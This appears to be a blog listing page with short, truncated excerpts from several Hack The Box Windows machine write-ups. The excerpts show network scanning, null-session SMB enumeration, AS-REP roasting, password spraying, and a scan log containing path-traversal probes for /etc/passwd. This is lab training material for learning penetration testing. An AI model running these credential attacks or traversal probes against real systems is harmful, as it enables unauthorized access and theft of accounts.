Windows

Enumeration 1 export target=10.129.50.93 Port Scanning 1 rustscan -a $target --ulimit 10000 -g 1 nmap -Pn -sC -sV -n -p53,88,135,139,389,464,636,445,5985,9389,49667,49674,49673,49676,49696 -T5 $target -oN nmap_monteverde SMB Try null session 1 nxc smb $target -u '' -p '' Get users 1 nxc smb $target -u '' -p '' --users Get shares 1 nxc smb $target -u '' -p '' --shares Try ASREP-Roasting 1 impacket-GetNPUsers MEGABANK.LOCAL/ -usersfile users.txt -no-pass -dc-ip $target -format hashcat -outputfile asrep_hashes.txt Password Spraying 1 nxc smb $target -u users.txt -p users.txt --continue-on-success One hit: ...

Enumeration 1 export target=10.129.50.86 Port Scanning 1 rustscan -a $target --ulimit 10000 -g 1 nmap -Pn -sC -sV -n -p135,139,5985,445,47001,49664,49667,49665,49666 -T5 $target -oN nmap_querier SMB SMB is open. Try null session 1 smbclient -N -L //$target/ 1 smbclient -N //$target/Reports There is a file we can access, download it 1 mget * It is a .xlsm file. We need to find a way to open it. ...

Enumeration 1 export target=10.129.95.180 Port Scanning 1 2 3 rustscan -a $target --ulimit 10000 -g 10.129.95.180 -> [53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49667,49674,49673,49676,49688,49696] 1 nmap -Pn -n -sC -sV -p53,80,88,135,139,389,445,464,593,3268,3269,5985,9389,49667,49674,49673,49676,49688,49696 -T5 $target -oN nmap_sauna Web Application (80) We have potential usernames? We can try to find Kerberos Pre-Authentication disabled users Create a wordlist Using the /about.html page, create a names.txt file with the format ‘Firstname Lastname’ Then using names.txt, generate a wordlist using username-anarchy: ...

Enumeration 1 export target=10.129.48.132 Port Scanning 1 rustscan -a $target --ulimit 10000 -g 1 nmap -Pn -sC -sV -n -p53,135,139,445,593,636,3269,3268,5985,9389,464,389,47001,49666,49664,49665,49668,49671,49677,49676,49681,49698 -T5 $target -oN nmap_forest Domain Enumeration 1 enum4linux-ng -A $target We can enum users with nxc 1 nxc smb $target -u '' -p '' --users I’ve saved the usernames into users.txt Enumerate if any user can be AS-REP Roastable 1 impacket-GetNPUsers htb.local/ -usersfile users.txt -no-pass -dc-ip 10.129.48.132 -format hashcat ...

Enumeration 1 export target=10.129.228.112 Port Scanning 1 rustscan -a $target --ulimit 10000 -g 1 nmap -Pn -sC -sV -n -p80,135,445,50000 -T5 $target Web Application (80) Just a search bar Typed ‘hey’ and press Search. Then got this weird error (because it is an image) We learn that database is Microsoft SQL Server 2005 - 9.00.4053.00 .NET version 2.0.50727.4223 dirsearch nothing showed up 1 2 3 4 5 6 7 # Dirsearch started Thu Aug 13 02:20:04 2026 as: /usr/lib/python3/dist-packages/dirsearch/dirsearch.py -u http://10.129.228.112/ --exclude-sizes 0B 403 312B http://10.129.228.112/%2e%2e//google.com 403 312B http://10.129.228.112/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 403 312B http://10.129.228.112/\..\..\..\..\..\..\..\..\..\etc\passwd 403 312B http://10.129.228.112/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 200 50B http://10.129.228.112/error.html Jetty (50000) ...

Enumeration 1 export target=10.129.47.148 Port Scanning 1 2 3 rustscan $target --ulimit 10000 -g 10.129.47.148 -> [53,88,135,139,389,445,593,636,3268,3269,5722,464,9389,49153,49152,49155,49154,49158,49157,49162,49166,49168] 1 nmap -Pn -sC -sV -n -p53,88,135,139,389,445,464,3268,3269,5722,9389,47001,49152,49154,49153,49155,49158,49157,49162,49166,49168 -T5 $target Looking at the open ports (53, 88, …) this is clearly a Domain Controller. SMB Shares 1 smbmap -H $target We can read the non-default Replication share with null authentication. Let’s read it with smbclient: 1 smbclient -N //$target/Replication Get all files: ...